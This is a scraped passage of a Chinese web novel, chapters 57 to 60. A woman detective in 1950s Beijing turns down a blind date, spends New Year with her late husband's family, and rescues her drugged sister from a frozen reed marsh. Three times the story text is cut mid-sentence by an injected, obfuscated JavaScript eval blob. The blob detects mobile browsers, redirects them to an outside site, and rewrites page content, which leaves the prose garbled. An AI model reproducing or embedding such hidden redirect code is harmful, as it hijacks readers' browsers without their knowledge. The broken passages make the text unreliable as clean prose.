心中一直念着那个身影，程昱还不太想结婚的事情，只是调回京城后，自己的姑姑一直说要给他介绍对象，说的还是一个人，次数多了，他心里也就松动一些，想着就看看，也不耽搁什么。 知道顾昭蕙的职业，但是见到真人的时候却觉着与事实不符，与他同样穿着一身军大衣的女人，看起来太娇俏，个子不高，人也单薄，样貌倒是特别漂亮，不过程昱觉着太漂亮了有点像是温室里开的娇花，他想到自己一直念着的人，那个坚强的像是寒风中的腊梅。完全不一样的人。 顾昭蕙见到人，没有太多想法，他身上带着这个年代军人特有的气势，坚毅正直严肃。不知道怎么的脑海中就突然闪现了齐云松，他也是军人，身上也带着军人的气质，但或许在敌后工作过的关系，他身上又带着一点随意和放松，他的随意让周围人对他没有防备，或许这就是他的掩护色。 “你好，顾同志。”程昱虽然被她面容惊艳了一下，但是很快就恢复了正常，心里也觉着两人或许不那么合适。 “你好，程同志。”顾昭蕙也是第一次与人相亲，当然记忆中的顾昭蕙不算。 说实话两个人打了招呼之后就有点小尴尬，“听说顾同志你在市局工作？”程昱只是听姑姑说这位女同志在市局工作，好像因为工作好还被上边嘉奖了，具体工作倒是没有说。 “是的。”顾昭蕙点点头。 “哦，市局那个部门？”程昱随意的问着。 “刑侦大队。”顾昭蕙觉着有点后悔了，她就不是个太主动的人，看起来这个程昱同志也是如此，这么一问一答，有点尬聊的感觉，如果齐云松在肯定不会这么冷藏。 程昱也没想到是刑侦大队的，“女同志搞刑侦会不会很吃力。”他对刑侦工作不是特别了解，想着是破案的事情，女同志做会不会不合适。 顾昭蕙有点无语，并不是说程昱怎么样，只是跟这年代大多数人的想法一样。对女性的能力低估了。 “还好。”顾昭蕙随意的说了一句。 程昱觉着刚才问话好像有点问题，不过也没解释什么。 齐云松自从发现顾昭蕙心里似乎还装着蒋永兴，心里不知道怎么地就像是装了一块大石头似的，他突然有些不知道怎么面对她了。 他也不知道什么时候开始上了心，明明一开始还怀疑她有问题，甚至怀疑蒋永兴的死是不是跟她有关系，他进入刑侦大队就是为了调查蒋永兴的事情，也是就近监视顾昭蕙，可是随着接触时间越来越多，他的心境就发生了变化，她不知不觉就吸引了他。 顾昭蕙身上似乎有一个谜团，这个谜团到现在都没有个结果，很多事情在她身上无法解释，蒋永兴死前的顾昭蕙和蒋永兴时候的顾昭蕙，简直就是两个人，可就是这样疑点重重，他还是不自觉的被她吸引，深陷其中，他爱上了这个女人。 这个认知让齐云松自己都觉着不可思议，可是感情不是能控制的，他控制不了，他自己都想不到，有一天满心满眼都是一个女人，甚至梦中都是她。 他也矛盾过，她是他兄弟的妻子，他可以去帮助他，可以照顾她，不应该觊觎她，这是不对的。所以他将感情压制着，他跟她一起工作，两个人的节拍越来越契合，他们是最好的搭档。这样就够了。 知道他发现对方心里那个人从来没有消失，不知道怎么的，他突然就觉着心被人紧紧攥着一样，喘不过气来。他知道他有点失控了。 趁着三处有一个外地案子，他申请去办理，说逃避也好，说退缩也好，他想离开一下。 事实上，并不是远离，感情就会消失不在，它会跟着你，思念甚至会放大这种情绪。 这些日子的思念让她想明白了，或许就在她身边，那怕她根本不知道你对她有什么样的感情，只要在身边，就很好。或许有一天她释然了，能看到他就在那等着。 将自己说服，齐云松赶紧办完了案子，回来了，只是没想到到了蒋家，就听说顾昭蕙跟人相亲去了。 齐云松简直就是晴天霹雳，打听到两人相亲的地方，他就去了，然后就在岸边看到站在冰场上的那个身影，远远看着她笑容满面的说话，心不知道怎么的就沉沉的，似乎落进冰水中，再也浮不起来。 顾昭蕙笑，却是因为两个人突然感觉到，对方似乎都无意继续下去，他们都觉着对方不合适，顾昭蕙觉着自己已经是个无聊的人了，如果真想找对象也要找个有趣的。这个程昱或许当兵时间长了，过于严肃了。 程昱倒是觉着顾昭蕙与他喜欢的那种坚强女性是不同的，他常年在外工作，对家庭照顾肯定不多，所以家里的女人一定要能支撑起一个家，要坚强，可是顾昭蕙明显太过柔弱了。不适合他。 所以两人尴尬的聊一会之后，发现对方都没有想法，倒是放开了。 这时候冰场上年轻人都在滑着冰，正好一伙人在冰场上滑火车，一群年轻人排着队在场中间绕圈子，突然有一个小胖子，不知道怎么滴把自己拌倒了，然后后边很多人都随着摔倒了。那样子真的很有意思。 “这个小胖子，要被他朋友收拾一顿了。”顾昭蕙忍不住说，果然话音刚落，那些摔倒的年轻男女爬起来把小胖子压在身子下边，一帮年轻人哈哈的笑着。 程昱也感受到了场中的乐子，这会心情也不错，看了看手表，“都到了晚饭时间了，我知道一家面馆，请你吃个面？” 顾昭蕙摇了摇头“不必了，我之前在局里吃了饭了，并不饿。”这倒是真的，明天是小年，今天食堂做了红烧肉，所以顾昭蕙直接在食堂吃了。” 程昱也不觉着被拒绝，也不勉强说道“今天很高兴认识顾同志。” 顾昭蕙点点头，“我也一样。” 两人说完就告别了，怎么说呢，都是聪明人，合不合适见面就清楚。也没必要浪费时间。 顾昭蕙离开冰场，往家慢慢走，今天没骑车，天气冷他已经很久没骑车了，道路上的雪还没融化，骑车非常容易摔。 往前走了几步，听见车铃铛声音，她往旁边让了让，自行车却是来到身边，停下了。 看到熟悉的面孔“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006836|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎，你什么时候回来的？”顾昭蕙看着齐云松。 齐云松用他那大长腿支着地，将棉帽往上推了一下，“上午回来的，你这是干啥呢？这个点了还在外边？”已经六点了，这时候六点钟天都黑透了，也就冰场那边有灯才亮堂。 “没什么。”顾昭蕙摇了摇头，反正也没成，相亲的事也没必要说了。 齐云松看了看她，好像也没什么特别的情绪，“上车我送你回去。” 顾昭蕙也没推辞，直接坐在后座上，“走吧，哎出来半天怪冷的。” 齐云松脚一蹬，车子就像前面穿了出去，顾昭蕙已经习惯了他的骑车节奏，手上抓着他的军大衣，身子稳稳的坐着。 齐云松骑着车，不知道怎么的就咧着嘴无声的笑了起来。双腿蹬的起劲，车子都有种飞一样的感觉。 到了蒋家，齐云松直接进院，“哎，你们俩怎么一块回来了？”田静兰奇怪的说。 “妈有吃的吗？我都饿了。”齐云松进了院子就说“我去三儿家看看，回来碰上的。”三儿也是他发小，不过三儿逃难的时候被炸掉了左边小腿，成了残疾，现在进入轧钢厂当工人，虽然腿不方便，但是他手巧，“三儿下半年考核通过了，已经是五级钳工了。” “是吗？这可是好事。这孩子要强，我和你叔找他找了两年多，得亏你消息灵通。不然还不知道人在那呢。”田静兰说着去厨房做面“小蕙也吃点吧。” 顾昭蕙想了想，“妈做西红柿面吧，我多来点汤少来点面。”西红柿现在是没有的，这年代冬天就白菜土豆酸菜，这样的，西红柿是没有的，不过齐云松那个采购的朋友给他们带回来两大框西红柿，切成一瓣瓣的放到点滴瓶子里，塞满后，放到锅里蒸，蒸十五分钟，掀开锅盖，然后快速将点滴瓶封口，这样就能存放一冬天了。只要密封好，就不会坏，他们弄来的西红柿特别好，听说是新品种，酸甜酸甜的。 “行。”田静兰说着就去厨房。 顾昭蕙回屋洗了手洗了脸，去厨房，面已经做好了，手擀面，白面里边掺和点荞麦面，二大碗里面少汤多，齐云松那边说面多汤少“你跟程昱见面怎么样啊？”田静兰忍不住问。 顾昭蕙摇了摇头“没相上。” 田静兰啊了一声“你没看上他？”听说人不错的。 “他也没看上我。” 田静兰听了不知道怎么的有点生气“他啥眼光，咱家小蕙要长相有长相，要工作有工作，他想要个啥样的？” 顾昭蕙看着她忍不住笑了“许是人家就不想找个漂亮的。”想着自己说自己漂亮，顾昭蕙觉着有点可乐，“我看他想找个本分的能顾家的。”其实从第一眼看到就觉着对方对自己并不满意。 不过她也觉着对方不适合她。 田静兰摇了摇头，“算了这个不合适咱们再找别的，我家小蕙这么好，找个对象还早不出去了？” 顾昭蕙将面吃了，喝点汤，还剩大半碗，看对面齐云松风卷残云的将一碗面都吃光了，就随手将自己碗里剩下的面汤推了过去“妈，可别了，我现在真没那个想法。今天见面我都觉着太尴尬了。” 齐云松将自己的面汤喝完，又拿起顾昭蕙的咕嘟咕嘟的喝光了。放下碗就觉着肚子暖呼呼的，那感觉美的很。 58. 第 58 章 第五十八章 马上就要过年了，大家都不希望有太大的案子，顾昭蕙最近也忙于家事，小年过后就是新年，顾昭蕙买了些年货送回顾家，跟家人一起聚餐吃了一顿。 难得顾二叔一家也过来，现在各家日子过得都不是特别的宽裕，顾二叔很少带一家子回来吃饭，今年也是家里条件好了。 今年过年蒋家大哥大嫂是不回来的，田静兰也跟女儿通了信，本来说好今年回家过年，结果上个月发现怀孕，只能推迟回家的时间，好在顾昭蕙说不会回顾家，齐云松也会过来过年，这让田静兰高兴坏了，所以年前这几天她几乎天天出门购物。就想过一个好年。 三十那天依然上班，不过今天没什么事，除去值班人员，中午就可以下班了。 顾昭蕙坐着齐云松的自行车回家，到了家，只有田静兰在家，蒋志忠作为领导总是要最后回来，两个人进了厨房，也帮着做年夜饭。 田静兰做家常菜还不错，但是一些鱼呀肉什么的，做的就要差些味道，所以提前将食材处理好，等着顾昭蕙回来做。 算计一下吃饭的时间，然后一样一样的年夜菜进行制作，齐云松帮着她烧火，看着她做菜也是有些意思的，因为她并不是一样菜一样菜那么做，你看她焯水过油或是提前炒好，各种不同的食材，进行处理，但是你不知道那个和那个搭配，那个菜提前放盐，那个菜提前腌制，她总不会弄乱。 等蒋志忠回来后，不到半个小时饭菜就好了，上桌全都是热乎的。虽然眼花缭乱，她心里却是一点不乱。 今年真是一大桌子菜，一家子没有提去世的蒋永兴，没有说外地的兄姐，几个人说些工作上的趣事，说些过去一年里的收获。只有吃完饭后，回到客厅看到墙上蒋永兴穿着军装的照片，才有些沉默，田静兰没忍住说了一句“永兴要在多好啊。” 过去还不到一年，却好像已经很久了，悲伤不会总是存在，逝去的人会活在他们心里，但是随着时间，埋藏的越来越深。 这年代可没有过节的概念，军队里有探亲假，他们却没有假期，好在市局也体谅大家，可以串休，顾昭蕙和齐云松都是单身，所以初一的时候值班，单位没什么事，俩人中午吃了家里带来的饺子和菜，早上带来的，吃饭前放在炉子上一回就热了。 “呦，吃着呢？”范队进了屋看他俩面对面吃着饭，三个大饭盒，一大饭盒子饺子，还有两个稍小的饭盒里，装着排骨红烧肉还有一饭盒酸菜白肉。 “范队，一起吃点。”齐云松说着往旁边挪了挪，给范队留个位子。 “不吃，我吃过了，就过来看看，哎，你们这年夜饭挺好啊。田姨最会过日子了。”范队笑着说。他知道齐云松和蒋家的关系，所以并不奇怪，两个人一起吃饭。 “今年蒋雨没回来吗？”范队问道。 “没回来，怀孕了，今年肯定不能回来了。”齐云松说道。 顾昭蕙看范队脸上有那么一丝不自在，心里嘀咕，却也没说啥。 范队似乎也没啥事，说了几句话就走了。 “范队当初跟小雨姐，有过那么一段，只不过后来两个人因为一些原因分开了。”齐云松等范队走了跟顾昭蕙解释了一下。 “啊，他们俩差着岁数呢吧。”顾昭蕙记得范队已经三十多了。 “嗯，两人查了九岁，当年我们都走散了，范队救了小雨姐，俩人当时在一个连队，许是因为救命之恩，俩人好了一段时间，不过后来小雨姐因为工作的关系调到南方，俩人失联了，过了有三年吧，我们得着消息小雨姐牺牲了。 又过了两年多，咱们进京，那时候虽然已经控制了京城，但是很多警察都是老人，需要甄别，还有组建自己的队伍。范队在刑侦这方面有些能力，所以就被调到市局了，那时候工作挺危险的，有一次范队被炸弹炸伤，好不容易救过来，是现在的嫂子护理的，咱妈看着觉着俩人都不错就给介绍了，谁想到俩人刚结婚，小雨姐那边就来了消息。造化弄人吧。” 顾昭蕙也觉着世事无常，那年代失联是很正常的事情“两边都结婚了，范队还能有啥想法怎么的？” 齐云松摇了摇头“没那个事，他肯定不能有啥想法，小雨姐的对象还是他给介绍的，就是没想到姐夫直接调到沪市了。离家那么远，他心里惦记些也正常。” 顾昭蕙都觉着这事跟话剧似的，怎么还给前女友介绍对象呢。 齐云松一看她表情就知道她不理解这事，“其实这样事多着呢。咱们单位管后勤的赵主任，他跟原来的媳妇结婚没两年就因为打仗失散了，还有人说他媳妇死了，说的真真的，就连档案都记录的。过了两年经过人介绍又找了一个，结果刚生了孩子他媳妇就回来了，你说能咋整，他现在的媳妇也知道这事，结果给她介绍了自己的哥哥，人家俩人一结婚，你说他们家别扭不，人家一点不别扭，过得还挺好。” 顾昭蕙笑着摇头，“我还真没听过。” 齐云松探口气，“当年赵主任和他大舅哥还有他前妻，一起上前线，家里扔下俩奶娃子，都是刚出生的，结果他媳妇一个人带俩孩子，一直把孩子养到七八岁。那时候都想着打仗呢，那想那么多事情。” 顾昭蕙若有所思，她来到这个年代，从接触的人到听到的事，间接的了解当年的战争，有时候她会想让她再早来一些年就好了。 初二回娘家，顾昭蕙晚上回顾家吃了顿饭，这次回家发现顾嘉蕙似乎有些心事，晚上留在家里住，躺在床上问顾嘉蕙。 顾嘉蕙叹了口气“姐，我觉着赵迅好像有些虚假。” 顾昭蕙听到赵迅的名字，一下子精神了“哦，怎么说？” “我发现我好想没有那么了解他，虽然我们两个分隔两地，但是也没少写信，可是我发现，他写的信有些虚假，我对他根本不了解。”顾嘉蕙有点烦恼。 她这么一说，顾昭蕙明白是怎么一回事了，齐云松的计划有效果了。齐云松之前找了几个朋友，都是年轻人，一开始是带着顾嘉蕙一起出去，让她跟同龄人多接触，然后有两个女生就跟顾嘉蕙当了朋友，成了闺蜜。 这两个女生开始或许是因为齐云松交代的，让顾嘉蕙别那么容易陷入爱情旋涡，让她更清楚的意识到男人的花言巧语，总归是让她清醒一点，至少面对赵迅的时候别被骗。 但是一段时间交流之后，三个年龄差不多的女生还真成了好朋友，互相之间交流更真诚，一段时间后顾嘉蕙确实清醒了许多，然后她也发现，赵迅给她写信，给她作诗，一些行为看起来就好像是哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022303|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗小女生的手段。 这种清醒让她不那么舒服。 “姐我还发现，他可能不像他表现的那么温文尔雅。”顾嘉蕙说道。 “哦，怎么说？” “前段时间他回家，没告诉我，是咱们院的黄豆看到了告诉我的，我还以为他要给我个惊喜，就去他家里找他，结果他看到我，不知道为什么特别生气。”顾嘉蕙还是第一次见到他生气。 “那是什么时候？”顾昭蕙问，她觉着这里边有点什么问题。 “一月十二号。”顾嘉蕙记得那个日子。 顾昭蕙点点头记下来，“然后呢，他给你说为什么冲你发火了吗？” “说了他说，他工作不是很顺利，当时想要调回来，结果不行，他是因为这个心情不好，所以才对她生气的。”顾嘉蕙说到这里皱了皱鼻子“那天他竟然连屋子都没让我进。我总觉那天他有点阴晴不定的感觉。” 顾昭蕙点点头，“你要是觉着不合适，就少跟他接触，或者我去跟他说一下。” 顾嘉蕙摇了摇头“不用了姐，我再看看。”其实她没跟她姐说的是，小年前的一天她又看到赵迅偷偷回来了，还跟一个女人见面被她看见了，当时她怀疑赵迅是不是有别的女人了，就偷偷的跟着，但是她见到那个女人三十多岁的样子，赵迅才二十多，两个人怎么看也不相配，后来她又回忆了一下，感觉他们俩行为有些可疑。 顾嘉蕙足够清醒，但是她也不想因为自己的怀疑就告诉姐姐，怕把事情弄大，所以她想自己查一下。 顾昭蕙绝想不到自己妹妹那么勇，敢一个人抓特务。 转天去上班，就跟齐云松说赵迅回来的事情。 齐云松听了眉头紧皱“他们父子肯定是有问题的，但是现在我们怀疑两个人是两条线的，现在就想将两条线都挖出来。本来我们想着把赵迅隔离在外先查他父亲。现在看来他父亲很老实，倒是他很活跃啊。”他其实一直跟进着这个案子，所以两个人的情报他都知道，赵迅十二号回来的信息是绝对没有的，这就是他们工作的失误了。 “案子进展还是要快些，也许抓到他们就会知道更多的信息了。”顾昭蕙说道，她觉着这个赵迅多晃荡一天，她妹妹就有一天危险。 齐云松也了解她的心情“我会跟上边反应，尽快抓捕。但是你知道这样的案子不能急。” 顾昭蕙叹了口气，“我知道。但是放在自己亲人身边，担心是免不了的。” 顾昭蕙一直以来都很信任三处的办事手段，毕竟他们是专业的，一直跟特务进行斗争，她在这方面经验真的不多，也了解他们放长线钓大鱼的心思，所以事情交代上去就不去想了。谁知道还是出事了。 “顾组长楼下有人找。”白芸接了电话对顾昭蕙说。 “谁啊，让他上来吧。”估计是私人关系，不然下边就让直接上来了。 顾昭蕙手上有个报告马上就写完了，所以不想下去。 结果上来个出乎意料的人，“你是黄豆？”是他们院里的一个小孩，十五六，小时候差点饿死，是顾爸的一把黄豆给救活的。从那时候起就叫黄豆。 “昭蕙姐，我佳慧姐出事了。”黄豆有点急。 顾昭蕙一听心里一惊“佳蕙怎么了？” 59. 第 59 章 第五十九章 “就是这家。”黄豆指着香草胡同十二号说道，“我佳蕙姐跟我说她要是半个小时不出来，就让我去找你，结果她半个小时没出来，我让我妹看着，我就去找你了。”黄豆说完从胡同旁边抓了个小姑娘出来，“绫子，佳慧姐出来了吗？” 小姑娘摇了摇头“没出来，我一直盯着没有人出来。” 齐云松和顾昭蕙脸色一变，从这里到市局，就是跑着去也要十五分钟，这来回的加上去市局耽搁的时间，怎么也得四五十分钟了。 “你们先去外边等着。我们进去看看。”顾昭蕙说完，又让李想他们在另一边等着。 齐云松想了想“直接找人。”顾嘉蕙突然找到这里肯定是有问题的，人还没出来，已经不能用其他办法了。 顾昭蕙敲了敲门，“谁呀？”很快有一个女人的声音应答。 “你好，我们是民警。能开下门我们有些事情了解一下。” 门很快就打开了，顾昭蕙眉头突然跳了跳。 “你们有什么事情吗？”女人似乎有些疑惑的问？ 齐云松看顾昭蕙没说话，就开口道“你好，我们是民警，您见过这个姑娘吗？”他说着拿出顾嘉蕙的照片，这是来之前顾昭蕙拿的。 女人看了看说，“哦，她啊，来过啊，是个老师。”她说着还笑了，似乎有什么好笑的事情“我丈夫生前有个朋友，是这个老师的男朋友，前些日子他过来帮我办点事，可能让她知道了，她过来问我这个事情的。不过刚才已经走了。” “走了？”齐云松问。 “对呀，走了。走了好一会了。”女人说道。 齐云松看向顾昭蕙，顾昭蕙看着女人，“我们能进去看一眼吗？” 女人挑了挑眉头，“民警同志，你们还不相信我呀，她就是来确认个消息，跟我又没什么关系，我还能扣着她怎么的。”说完似乎有些不高兴的往旁边挪了挪，“进去看吧。” 顾昭蕙当先走进去，先是看了看院子，这就是个一进的小院，三间正房四间东西厢房，中间一个小小的天井，顾昭蕙先是看了看厢房，一间是厨房，一间是客房，屋子里一目了然，顾昭蕙大脑迅速分析可能存在的地下的结构，两间屋子都没有。 进入正房，三间屋都是分隔的顾昭蕙先看客厅，地面竟然铺的地砖，地上也没有地窖一类的。东屋卧室，里边有一张大床，弯腰看床底，同样没有隐藏的地方。不过顾昭蕙在屋子里问道一股淡淡的烟味，是京城的一个香烟牌子。 这屋子明显是女主人办公室，顾昭蕙看了看梳妆台，这女人过得还是比较小资的，梳妆台上放着一些化妆品。还有个首饰盒。顾昭蕙没有打开，现在最重要的是找到顾嘉蕙。 齐云松从西屋出来，对着顾昭蕙摇了摇头，顾昭蕙走出正房，往两边围墙看去，东边围墙那边是房屋，并没有可攀爬的地方，西边有一处围墙，顾昭蕙走到墙根地下看了一下。 “走吧。”叫了齐云松往外走，对着一直站在门口没有跟他们进院子的女人说了一句“打扰了。” 出了院子，往西边巷子走去。 “佳蕙难道真的离开了。”齐云松说出口就觉着不对劲，这事不对。 “找人盯着她。”顾昭蕙说道，“叫三处的人盯，这女人有问题。咱们今天有点打草惊蛇了，估计她要跑。” “好。”齐云松点头应是，“她有什么问题。” “她身上的香水味，就是那种带有薰衣草味道的香水。而且也太过淡定了，她留在门口实际上就是告诉我们她心里没鬼，可是正常人如果家里被搜查，肯定要跟进去看看。她表现太过正常，反而显得不正常。” “那佳蕙危险了。”齐云松皱着眉头。 “你先回去处理这个女人的事情，我去追，应该刚走没多久，我闻到屋子里有股烟味，还有佳蕙身上的味道。我去追追看，另外你找人确定一下，我怀疑赵迅回来了，佳蕙应该是跟着赵迅过来的。” 齐云松点点头“你小心点。让李想他们跟着，不要单独行动。”他交代一下，骑着车就走了。 “吴非你在这盯着，在齐云松回来之前一定不能让人跑了。” “是。”吴非应道。 顾昭蕙再看他一眼，“如果她真的要走，就直接抓了。”说完带着李想往后边胡同走。 顾昭蕙没有去旁边的院子，刚才她粗略看了一下，从那边墙头直接上西边鹿顶，然后从后边胡同走。所以如果佳蕙被控制，想要带走她就只能从后边胡同走，她还是很相信黄豆妹妹。虽然没有证据，但是从见到那个女人，进入屋子检查，一些极细微的信息都表明佳蕙被人带走了。 来到后边胡同，顾昭蕙仔细分辨地面脚印，果然有两个脚印，看脚印大小踩踏深度，显然这个脚印的主人，带着很重的东西。 顾昭蕙仔细看看，胡同口有一个三轮车的痕迹，有人接应。 “得把这个脚印拓下来。”顾昭蕙皱着眉头，现在人手明显不够，不过还没等她着急，就看齐云松骑着车又回来了“有什么发现？” “这里有个脚印。那边有车印，人手不够。” “李想你留下，看着现场，等一会就有人过来，咱俩去追。”齐云松说着就跨上自行车。 顾昭蕙上了车，给齐云松指路。 “你怎么这么快？” “街口有一家邮局，我给局里打了电话。” 顾昭蕙觉着还是他比较靠谱，低头仔细辨认道路上的痕迹。 “这边。”顾昭蕙指着胡同的另外一边，走着走着，顾昭蕙脸色都变了，“这里是——” 齐云松也认出来了，脚上蹬车蹬的更快了。 “停。”顾昭蕙叫停。 两人迅速下车直接跑到芦苇丛中，现在虽然立春了但是天气依然寒冷，芦苇丛里的冰还没有化，顾昭蕙看到那个车辙的痕迹。 “这边。”顾昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037198|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕙又找到了一支脚印，此时她已经没时间分辨脚印了。两个人往芦苇丛深处，跑去，啪啪——脚下的冰碎了，显然芦苇根部的冰冻得没有那么结实。 “那里。”齐云松眼睛尖，看到前边有一个冰窟窿，此时他也顾不得那么多，把大衣脱了扔到一边，直接跳到冰水里，冰窟窿下边有个麻袋。他一把将麻袋拎了起来。 麻袋下边大量的水滴落。 顾昭蕙脸都吓白了她也顾不上那些，也趟着水过去。 齐云松将麻袋放到岸上，人还在水里，将麻袋口打开，往旁边一扒，露出一张苍白的脸。 “佳蕙。”顾昭蕙轻轻的抹了一下鼻子，感觉人没气了。赶紧做心肺复苏。 “等等。”齐云松看她头发都没有湿。用手在脖颈处按了一下，“没淹着，应该是迷药的关系。”他说着从水里出来。将扔掉的大衣捡起来给人裹上，“快送医院。” 顾昭蕙这会也冷静下来，这麻袋密度挺大的，因为是芦苇丛，所以冰层下边的水不那么多，所以麻袋只有一半淹在水里，但是现在这个温度，她被迷药迷晕，根本醒不过来，用不上一个小时人也要被冻死了。 齐云松将人抱着，顾昭蕙拿了麻袋。这里说不定有什么线索。 幸亏路上遇到一个送货的，帮着把人送到医院，人送进了抢救室。 顾昭蕙坐在门口的凳子上，手里还攥着那条麻袋。 齐云松看她脸都是白的，“我跟他们这边护士借了衣服，你快去换一下，不然要冻病了。” “是赵庆远。一定是他。”顾昭蕙直直的看着齐云松“他知道那个地方，他这么做是跟咱们示威，他知道自己暴露了。” 齐云松这会也跟上她的节奏了“他要跑。” 顾昭蕙点点头，“已经跑了。” “火车客车，没有介绍信他走不了，学校的介绍信也不行。” “研究院的介绍信。”顾昭蕙突然想到了今天那个带有薰衣草香味的女人，“那个女人跟程副队长有关系，手上肯定不缺介绍信。” “你说的对。”齐云松这会也理顺了，直接跑去医院值班室打电话。 “那个女人可以直接抓捕了，她应该是个弃子。还有赵迅那里，这个赵庆远，或许从将永兴被杀后，就已经寻找退路了。他可能早就知道三处再查他，所以他一直表现出位置很重要，让你们花大力气去追查。”顾昭蕙突然有点不安。 如果今天顾佳蕙不是从芦苇丛被找到，换个地方，都不会让她这样警惕，很明显的赵庆远就是跟他们示威，他这样做的肆无忌惮，“让赵迅和顾嘉蕙相亲并不是意外，是他故意的，他一直在吸引你们的主意。他肯定有所图。最近有什么大事情？或者说三处之前有什么比较重要的案子？” 齐云松皱了皱眉头，“三处最近一直再查的就是赵庆远父子的案子，他们关系网太大了，学生以及家长，调查起来一直很难。”他心里也有些不祥的预感。 60. 第 60 章 第六十章 “好在病人送来的及时，已经脱离危险了，不过这两天还是危险期，看护需要注意。”医生对着顾昭蕙交代着。 顾昭蕙点点头，“好的医生。” 顾嘉蕙已经被送到病房，送进抢救室，一度病危，主要原因是她体内被打了大量□□类药物，使得她身体有了过激反应，然后人泡在冷水中也让她身体失温，幸好顾昭蕙齐云松去的快。再慢一些后果不堪设想。 接到顾昭蕙的电话，顾铜从单位直接过来，他也让人通知了家里人，这会母亲二叔二婶都过来了。刚才顾昭蕙跟齐云松和过来的两个三处的人进行了案件分析，这会看到病人被推出手术室才过来。 “小蕙到底发生了什么事？佳蕙怎么会被人打了药？”顾铜问道，一边二叔也仔细听着。 “爸，事情过后我在跟你说，我现在有点事，佳蕙这边你们多看顾一下。” 顾昭蕙说完没再停留，直接就离开了。 “佳蕙这边我已经让两个战士过来保护了，赵庆远杀个回马枪的可能不大，但是我们也不能不防。”齐云松一边走道一边说。 顾昭蕙点点头，“我突然想起一件事情，你记得周萍萍说张常阳那里有份文件，一直没有找到，张常阳实际上已经被他们落下了水，他没有第一时间将事情跟组织上报告，就说明他的心是不稳定的，既然如此对方为什么会为了一份文件而杀了他。他们应该有更温和的手段。” 齐云松点点头，“现在车站已经被封锁了，三处派出去抓人的都是熟悉赵庆远的，咱们等消息就行了，赵迅那边确实回来了，津市那边竟然是个替身。只是不确定他是否跟赵庆远一样逃离了。”在医院的这段时间，三处那边已经动起来了。只不过还没有一个结果。 “关于叶歌的审讯有什么结果？”叶歌就是那个用薰衣草香水的女人。 “暂时没有什么收获，叶歌她并不是特别重要的人员，之所以当年没有逃，就是跟程虎，影子有关系，她和影子是恋人。”齐云松说道“我们已经将叶歌被捕的事情让影子知道了，他之前一直没有说话，那是为了保护叶歌，现在叶歌被捕，估计他该撩了。” 事实上与齐云松说的差不多，两个人到了市局，就知道了程虎已经交代了一些事情，不过他要求对叶歌从轻发落，也算是个痴情人。 顾昭蕙看了笔录，“他也不清楚拿资料是什么，但是当初让他杀人的命令是一个代号叫秃鹫的人给他下达的命令，秃鹫权利很大，手上的人也多。” “会不会是赵庆远。”齐云松猜测道。 顾昭蕙摇了摇头“不清楚，现在看来张常阳掌握的信息非常重要。继续让人提审程虎，周萍萍，叶歌，看看他们之间有什么联系。” 顾昭蕙回到办公室，拿着笔记本去了小会议室，将门关上，她想静一静，理顺一下思路。 她的笔记本里边记录了她破获的每个案子，她从前面开始翻看，然后脑海中将这些资料全都调动出来，看看其中的关联。 一开始蒋永兴的案子，里边有蝰蛇赵庆远，蝰蛇还与机械厂的案子有关系，顾昭蕙想到了电厂案，电厂案当初牵扯到档案室，但是那时候案子由范伟强负责的，她记得自己看过一些资料，案子破了，当时抓了七八个人，一条线上的。 顾昭蕙突然想到一点，电厂案最开始是调查电厂零件被破坏，使得西城区停电，后来案子重心转到特务破坏了，抓到了人，案子结案，可是他们破坏电厂的最初原因却忽略了，他们将那个事情当做一次破坏案件。 可如果他们另有原因呢？她进入市局刑侦大队，是因为在档案室案件的分析，让电厂案有了突破性进展，那么赵庆远是什么时候注意到她从而将注意打到佳蕙身上。 顾昭蕙回忆当初与赵庆远第一次见面，他说的每一句话，没有什么破绽，没有提到电厂有关的话，不能确定。 但是很值得怀疑。 蝰蛇被抓，张常阳的案子，那个秃鹫，不会是赵庆远，赵庆远在利用自己吸引三处注意，‘常阳让我去我们常去的人民公园。’ 顾昭蕙突然站起身，她觉着这所有的人好像编织了一张网，他们这么活跃为什么呢。 “去人民公园。”她相信张常阳不会说那么多余的话。 齐云松骑着车带着顾昭蕙去了人民公园，现在天气冷，公园里人并不多。 两个人在公园那片松树林里，看着那个林荫小道，一切与上次过来没有太多不同。树木还是那些树木，并没有多出几棵。 顾昭蕙反复走了三遍，突然看向路边一个木椅，这木椅是供给行人歇息用的。“我们上次过来木椅是什么颜色的？” “绿色的，就是这个颜色。”齐云松很确定的说。 “不对，我记得张常阳家里有一张他们夫妻的合照，就是坐在这个椅子上，那个椅子是棕色的。” 齐云松眉头皱了皱“现在的彩照都是后上色的，会不是洗像的人自己配的颜色。” 